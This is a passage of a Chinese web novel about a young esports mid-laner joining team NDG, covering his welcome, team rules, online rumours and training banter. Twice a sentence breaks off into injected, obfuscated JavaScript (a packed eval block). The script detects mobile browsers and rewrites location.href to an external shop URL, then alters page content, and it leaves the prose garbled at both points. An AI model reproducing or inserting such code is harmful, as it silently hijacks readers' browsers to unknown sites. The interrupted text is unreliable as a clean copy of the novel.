三言两语间祁元开始嫌弃一分钟前的自己怎么那么矫情,宿舍外面的领队开始催促,催促他收拾行李。 最后他蹲下来,摆弄着行李箱里的衣服道:“那春季赛见。” 奚月礼:“春季赛才见吗?” 祁元小声:“不然呢。” “我大概还有两个小时回到家,排位见?” “你说的啊。”他知道前队友比起组排,其实更爱玩单排的天梯模式,闻言马上把行李箱一盖,火速出门找电脑,“已经上线在等了,很急!” 电话挂了,那边余历转头就看见了树干后冒出来的半个肩膀,登时露出一个无语的表情,奚月礼同时转过脸,在他催促的眼神里冲他笑了笑。 等人走到近前,他把NDG的帽子脱下,往余历脑袋一盖。 余历看看那帽子上的队标,再看看他背上的包,鼓得就像是去哪里进了货一样。 他啧了一声,什么都没说,一起回家了。 离队PG,入队NDG,过程和决定都非常短暂,不过就在这短短三天内。 照理来说多少算件要紧事,然而除了余历——事实上就连余历他也不习惯多说,奚月礼并没有什么需要报备自己决定的人。 约好的入队时间一到,他单独打了个车,早上七点就打着哈欠出发去了NDG。 整个行李箱里最贵重的东西是一件莉莉丝手办,与其说那是一把游戏的胜利报酬,不如说是余历忍痛割爱送的。 NDG众人也起了个大早,汪奇等人非常浮夸地在基地门口放了两个彩带响炮,铺上隔壁传媒中心年会专用红毯。 还拉起横幅《热烈庆祝梦幻第五人今日归队,NDG偶像男团组建完毕》,再搬上户外音响,放了一个BGM《梦中的婚礼》。 然后运营组的摄影师很专业地在旁边架了两个机位。 看得奚月礼一边笑个不停,一边惋惜今早没有穿件红的、跟这场面打好配合。 20.020 一连串仪式走完,早饭也吃完,第一件事是带新人认领宿舍。 原本个把小时就该搞定的事情,但汪奇等人进了新队友的房间就再也没出去过。 话题从“这窗采光不错我给你开一下”直奔“新床好舒服让我也躺一下”,帮忙收拾行李的时候,一边围着半臂高的绝版莉莉丝咔咔拍照,一边直呼“人来就行了,怎么还带传家宝啊!” NDG的单间宿舍格外宽敞,阳□□卫俱全,自带电视和书桌椅,初始皮肤原本是个酒店商务风,但新人从签约到入队长达一周,足够准队友们在这里来回几趟、墙上添幅画地上加个瓶,把酒店风变成了一个五颜六色的混搭风。 “这套杯子是670送的,正好三个,你训练室放一个,房间里放一个,餐厅放一个。” 明洋检查着房间各处电源,“我看你朋友圈也在玩那几款游戏,就弄了个游戏机放这里,以后一起打联机。” 汪奇:“沙发和地毯是队长给添的,一看就很贵吧?因为我们队长买东西从来不会看颜色材料,只会拉价格表。” 奚月礼一边端着杯子欣赏上面的图绘,一边给电视连上游戏机,完了踩过地毯、再窝进沙发里感受一下这个价格表,心想房里除了莉莉丝手办,第二件传家宝有了。 汪奇也觉得队长太过大手笔,怕新队友有压力,补充道:“队长就这个风格,以前他嫌我半夜上厕所吵,直接送了我一面隔音墙和一个快六位数的静音马桶。” “后来我就很后悔,后悔习惯没有再差点,要是白天唱K晚上蹦迪,他会不会把我赶出NDG宿舍,直接送我一套房呢?” 笑得几人在沙发上前仰后合,笑得徐锐之没忍住第三次从门口路过。 汪奇开始重点展示自己的手笔:“阳台上那几盆花是我搬来的,壁画和熏香也是我挂的。”说着捧了个瓶子过来,“你闻闻,喜不喜欢这味道。” 奚月礼凑近闻了闻,撇头:“阿嚏。” 然后两人一起笑开,商量后决定把这玩意儿放到楼下的公共卫生间。 新人入队的事项不少,后勤人员在排队等着认识,训练日常在等着安排,队务队规也需要了解,领队铭哥默认汪奇等人知道这些事,所以见他们上楼也没多交代什么,只等他们收拾完带人下来。 这会儿看了看钟,已经在楼下疑惑了很多次。 “怎么还不下来?” 徐锐之刚落座没两秒,再次从客厅沙发站起:“我去看看。” 宿舍门依旧开着,行李早就收拾完毕,饮料和零食接连摆上,游戏机也连好,电视开着,里面的人物台词在和汪奇比谁话音更密。 说笑间奚月礼从沙发上回头,正好看见了门口路过的人影。 “锐之哥。” 徐锐之停下来,见新队友肩背都陷在崭新的沙发里,嘴上叼了根糖,一手持着游戏手柄,一手拍了拍自己身边的空位,“不进来坐吗?” 于是他一脚走进房间里,顺手再把门关上。 楼下的领队铭哥在手机上刷了半小时又半小时的新闻,等了半天,没等到人下来,先是670,后是徐锐之,一个接一个在新人房里有去无回,只能自己去敲门。 一开门就纳闷了,这是刚刚收拾好的新人单间宿舍,不是开了五六年的多人男寝吧? “天还没黑呢,开Par是不是早了点?” 汪奇拍脑门:“对哦,月礼今天还有很多事呢。” 这才宣布男寝茶话中断,一个接一个起身下楼。 NDG训练基地是个双层大复式,从二楼宿舍外的走廊往下,能看到一楼的客厅和餐厅,训练室在阳光最好的东边。 领队带着新人一路走去训练室。 各大俱乐部领队的职责相似,出门在外负责队员的行程、酒店、饮食、采访等一系列活动。平时没比赛的时候,主要职责就是叫醒、投食、观察这一群的状态和长势。 写作后勤主管,读作全能保姆。 带新人入队、介绍队内事务本来是铭哥的活,但这会儿辅助在前面说个不停,还有三个在旁一步步跟着,倒是把他的活全抢了。 “一日三餐都有厨师做,回头你把爱吃的东西发铭哥一下,让营养师看过后加进菜单。” “理疗室门是关的,休赛期他们不坐班,只有每周五会来一趟,新赛季开始才会天天跟队。” “日程表就在这,休赛期都是早10点到晚10点,不需要打卡,但铭哥会查考勤,有事得跟他请个假。” 汪奇说完,不忘传授经验:“请假也不用说理由,让他知道我们人没事就行,平时可以把他的聊天框当个留言板。” 留言板铭哥在背后提醒:“汪奇本月请假13次,罚款1300。” 汪奇继续传授经验:“喏,这种时候,我们就需要贿赂一下这个留言板了。” 然后他转头,冲铭哥嘿嘿笑:“铭哥晚上想吃什么?现在给你点上。咖啡喝不?一杯冰美式是吧。” 铭哥给了他一个白眼,忙对新中单道:“别学他这一套,作息规律了状态才好。” 生怕人被带偏,他挥手将汪奇赶到一边。 “除了作息要规律,每天还有2小时的健身不能少,身体素质要是跟不上,你们BO5的第三局都坚持不下来。” “具体锻炼内容等健身教练来商量,别自己练,容易把手和肩膀练伤,这个一般安排在下午,也可以跟队长一样安排在早10点前。” 园区里有球场,有游泳馆,还有跑道,奚月礼路过时有印象,想到客厅旁全是器械的健身房,眼睛移去了窗外大好太阳。 “这2小时可以安排在户外吗?” 汪奇以己度人,凑过来悄声提醒:“之前我也想过,但遛狗不算锻炼,被Pass了。” 奚月礼一低头,看到了众人后面只见脑袋不见腿的Q宝,闻言不由笑开,站在原地等了等那四条短腿。 众人里只有明洋秒懂了“户外”的意思:“是吧?我也觉得健身房好没劲,但他们都不乐意跟我去打球。”立马走过去跟新队友肩并肩,“可算有人能跟我一起出门了。” 铭哥没反对:“出门也行,跟教练或者队长报备,还是那句,注意别伤到手。” 训练室的门打开,中间的位置上是一套崭新的外设,铭哥走过去给电脑开机。 “外设跟他们都是一样的定制,晚点你试试,哪里不顺手再调,键帽这里有你的ID。” 汪奇看着整整齐齐的座位,电脑,鼠标,键盘,耳机。 “还差一个摄像头,我柜子里有多的,马上给你装上。” 铭哥:“中单暂时不直播,不用你操心这个。” 和直播平台的合作已经成了各大俱乐部最常见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989254|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商务活动之一,职业选手基本每个都有直播约在身,选手直播的条条框框很多,但铭哥暂时没有细讲这些——新人一身简单的白T牛仔站在那边,每一帧都写着“可以卖很贵”,但凡出点成绩,首播更需要待价而沽,俱乐部并不急着跟任何一个平台签约。 最后,众人来到了队规前。 队规的威严深入人心,队规凌驾一切,嘻嘻哈哈的时间过去,日程里最严肃的一环来了,每个人都收敛表情,陪新中单细细阅读这些队规。 奚月礼已经找到自己的电竞椅,找了个舒服的姿势坐下,然后转动椅子转向队规。 队规占据了整整四分之一墙体,一整排打印字体看下来,底下几条手写体格外明显,一看就是后来补充的: 脏话一次,罚款两百。 染头一次,罚款两百。 酗酒一次,罚款两百。 抽烟一次,罚款两百。 读完这些很有针对性的条款,奚月礼抬头去看他一个比一个光明磊落的队友们。 光明磊落的队友纷纷将这些条款认领。 “我已经不染头了。”汪奇原地立正,“托托姐说了,染头会英年早秃。” 明洋:“我烟早戒了,厕所阳台要是有烟味也不是我干的,不是V哥就是铭哥。” “打火机——桌上那打火机是给Q宝热罐头用的。” 670最老实:“偶尔睡不着,喝酒能助眠,比赛日我是不会喝的。” 然后几人都闭上嘴,等着最顶上的脏话条款被认领,徐锐之眼睛扫过队规,扫去墙上的鹦鹉。 鹦鹉大K平日里算得上是一只沉默寡言的鸟,基本只有在特定时刻才秀两句不俗的语言天赋。 被人类扫视的这一刻大概就是它的特定时刻。 大K:“说你呢,说你呢,傻狗。” NDG队长横行基地,唯独不跟畜生一般见识,“说过的,这鸟素质很差。” 奚月礼哈哈笑着去看队规最后一条。 墨水崭新,笔迹清晰——擦边一次,警告一次;擦边三次,罚款两百。 “嗯?”这下子他是真的好奇了,“队里还有人做这个?” 一时间室内没人说话,唯独眼睛朝他看来的动作整整齐齐。 因为所有人都直直盯着他的脸,所以其中一双眼睛从他领口飞速滑走的动静,立马成为了黑暗里一个锃亮的灯泡——就在队长短暂到近乎躲避的一瞥间,敏锐的思路连上灯泡,奚月礼突然就把这见不得人的敏感词,跟自己联系上了。 他重新看去最后一条队规:“……我?” 徐锐之面朝队规,背影笔直,众人只能听见他的声音,语气介于“没话找话”和“没事找茬”之间:“这谁写上去的?” “托托姐?”汪奇哈哈笑了两声,“大概吧,没什么意思,没什么意思,NDG经理的口头禅就是以防万一,以防万一!” Q宝在脚边来回转了好几圈,新中单没说话,室内几道眼神都开始乱飘。 联想到那次余历直播间的封禁,奚月礼已经知道这条队规的来源了,他转了半圈椅子,想了想要怎么解释。 想了两秒,好像也没什么可解释的。 于是他弯下腰,伸手够到了腿边的一个毛茸下巴,低头对上整个训练室最纯洁无辜的眼神,笑了笑保证道:“好哦,以后我注意。” 21.021 短短一月的转会窗眨眼就过,各大战队的新赛季首发阵容瓜熟蒂落,互联网上各家粉丝讨论不断,职业群迎来了一波洗牌,消息也没停过。 新人选手在联盟注册后都会来群里刷个脸,最近的新人却都有些摸不着头脑,起因是进群时遇到的空前排场。 [Aagin:@Tank330,新中单,DTG的。] [Again:欢迎一下。] [FiveGod:@Tank330,新中单,DTG的。] [FiveGod:欢迎一下。] [QQbear:@Tank330,新中单,DTG的。] [QQbear:欢迎一下。] …… [Pie:@Yuki,新中单,TB的。] [Pie:欢迎一下。] [Teatea:@Yuki,新中单,TB的。] [Teatea:欢迎一下。] [Again:@Yuki,新中单,TB的。] [Again:欢迎一下。] …… 认识的不认识的,自家战队的冤家战队的,都在以格外统一的队形表示欢迎,一人两条,字数整齐,默契里带了丝微妙。 刚在心理医生那走完一个疗程的TB中单Yuki心想自己何德何能?区区一个青训毕业的新人,能让各路大佬摆出这么大的排场? 一边在列队欢迎的id里仔细找了找,没有找到那个把自己送进诊所的NDG中单,于是暗中搜起群友列表。 紧接着就见自家打野Pie在群里发了一个表情包。 表情包是近期TB战队群的常用,从NDG夏季赛宣传照上截取了NDG队长那张人称“电竞天狼星”的居中正脸,放大了那张脸上辨识度比五官还高的眼神。 手动配字很好地为图中眼神做出了注解——“直视我,崽种”。 [Pie:[直视我,崽种.jpg]] [Pie:@Ritz,NDG怎么还不官宣中单?等着给礼捧场。] NDG打野压根没有回应,NDG连平时最活跃的辅助也没在群里冒泡,NDG官博更是毫无动静,最新一条通告还停留在中单Jiang的退役转发。 前排最开始都是整齐的中单退役祝福。 [祝好。] [祝顺利。] [再见,NDG的隐形人,你好,我的螺丝厂工友。] …… 伴随转会窗的落幕,别人家的新赛季阵容都一一确定,自家官博却像断网了一样,就差挂个“已注销”,前排评论开始逐渐变形。 [@NDG电子竞技俱乐部,你们是不是忘了COTS得凑够五人才能开游戏?] [缺钱买中说一声,我捐一毛。] [@PG-Clock,@AU-Teatea,@K2-FiveGod,要求不高,这几个随便哪个带回来都行。] [实在找不到中单就看看我的简历吧[附图:白银战绩三连胜]] [提醒一下:战队解散是要提前一月发通知的,不能突然暴毙。] [新中单呢!?新中单呢!?新中单呢!?] “还不官宣,谣言已经快进到NDG解散、五人凑不满,四人改行去打斗地主了。” 下午三点的训练室,明洋在群聊和论坛一搜关键词,随处可见关于NDG中单的谣言。 670的位置在他的右手边:“这几天直播间的人也一直问我中单的事,所以我把直播关了。” 前中单Jiang无伤无病,退役得毫无征兆,新中单却迟迟没有官宣,再加上最近NDG几位首发的直播也不开,战队粉丝今天去这个平台找料,明天蹲那家相熟选手的直播间探口风,挨家挨户问消息,各路八卦博主的爆料也跟着层出不穷。 明洋正打算私信铭哥,每日一问中单官宣的事,却见某个八卦群又发来一个贴:《无人在意的角落,预言一个NDG新中单》 点开来,不出预料又是谣言。 不同的是相较其他秒沉的水贴,这帖子发出不到半小时,热度就已破千,很快成了论坛热门。 谣言主角是蓝莓直播平台的一个大主播Ctrl.V,人称粘贴键,粘贴哥,键哥。 “这谣造的是不是有点不讲基本法了?” 明洋不是汪奇那样的十级冲浪选手,却也能认出蓝莓直播平台的当家大主播,知道这位主播堪比明星职业选手的大流量,还知道他在COTS技术区的不俗战绩——玩中单常年天梯前十,目前已经在天梯第三的高位坐了快两个月。 他仔细浏览了一遍帖子,看明白了怎么一回事。 Ctrl.V要从主播转职业的传言一直都有,前两天在直播间聊起自己试训CPL战队的近况,不巧聊到了两句NDG。 “试训邀请有没有NDG的?哈哈,看的出来NDG粉丝最近很急了。” “这两天邮箱消息太多了,回头我找经纪人问问。” “NDG的牌面实力?不评价,毕竟R神我还是很尊敬的,两年老粉了。” 帖子截图正是这几句回复弹幕的无心之话,被有心人发散一下,便开始猜测主播和NDG私底下已经有了勾搭。 “这料编的。” 明洋看得没劲,因为已经知道了帖子的热度从何而来——底下全是顶流主播的粉丝,左一句“不约”,右一句“看笑了”。 [键哥一天的流水够请你们射辅演到八强了,不扶贫哈。] [Ctrl.V你是真的过气了,什么保级队都来蹭了。] [NDG?好地方啊,键哥养老时考虑一下。] …… 明洋转头看了眼自家板上钉钉的中单,心平气和地帖子里排队跟了句[看笑了]。 然后在训练室大声嚷嚷:“什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023507|142617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候中单官宣啊?我真快憋不住了。” “托托姐有安排吧。”汪奇回得不是很专心,这会儿他正在排位里专心操作,“主要是PG之前都没给月礼注册过职业,光联盟的注册流程就要走半个月。” 最近NDG辅助没开直播,冲浪网速也慢了下来,毕竟他每天都得早起才能赶上和中单一起出门遛狗,下午坐进训练室就开始沉迷中辅双排,晚上在中单房间里的安排也很满,聊天看电影打联机游戏。 这一天天的实在是太充实了。 团队作战需要队友之间日积月累的默契,互相的风格习惯也得通过一场场并肩作战来了解。 上午教练安排的专项训练结束,奚月礼这些天都在用小号跟队友轮流组排。 训练室内目前正进行到“隔着半张图,联动全靠嘴”的中辅双排轮次。 汪奇:“这里人有点多。” 奚月礼:“我们换个人少点的地方?” “这墙角好像没人,你来看一下。” “来了。” “这样就不会被发现吗?” “不会哦,再靠过来点。” 汪奇声音越来越小:“被看到怎么办?” 奚月礼配合他的小声:“嘘,先不说话。” 明洋越听越不对劲:“不是,打个双排蹲个人,你俩怎么跟偷情一样?” 这都什么跟什么? 徐锐之掀开耳机,发现室内上单的发言竟能比自己局内的还离谱,关掉败方MVP页面,盯着四个路人的负战绩,忍了忍,没忍住跟空气对话了一句:“脑瘫。” 然后打野在自己的座位上敲桌等了十分钟,等到中辅从局内出来,先点进好友列表里辅助的双排房,再拿了辅助的房主。 秒踢辅助。 “队长!?”汪奇一个眨眼,自己好好抱着的大腿就没了,“干什么干什么,还有三把我就上天梯了啊!” 徐锐之把耳机扔向桌面,“然后呢?断手断脚躺上天梯,把残疾鉴定写进你的退役通知里?” 奚月礼哈哈笑了声,就着打野的阴阳怪气啃了半个苹果,“锐之哥单排不顺吗?” “没。”徐锐之把竖起来的后脖子靠上椅背,扔出去的耳机拿回来收好,“人机局,杀多杀少的差别。” 奚月礼点开他的战绩一看,天梯三连跪。 他再啃一口苹果,笑了:“这么厉害,带带中单。” 徐锐之:“来。” 秒点确定,很快开始了中野联动的轮次。 又是格外心平气和的一天。 铭哥走进屋内,再次满意了一番室内几人的精神面貌,自从新中单入驻这个训练室,上单的烟没在抽了,打野的罚款也交得少了,射辅的脊背比以往更直了,连大K和Q宝的对掐都屈指可数了。 “看上去今天都上分了?状态不错哈。”铭哥拍拍手,带几人去隔壁摄影棚,“走吧,去试试你们新赛季的队服。”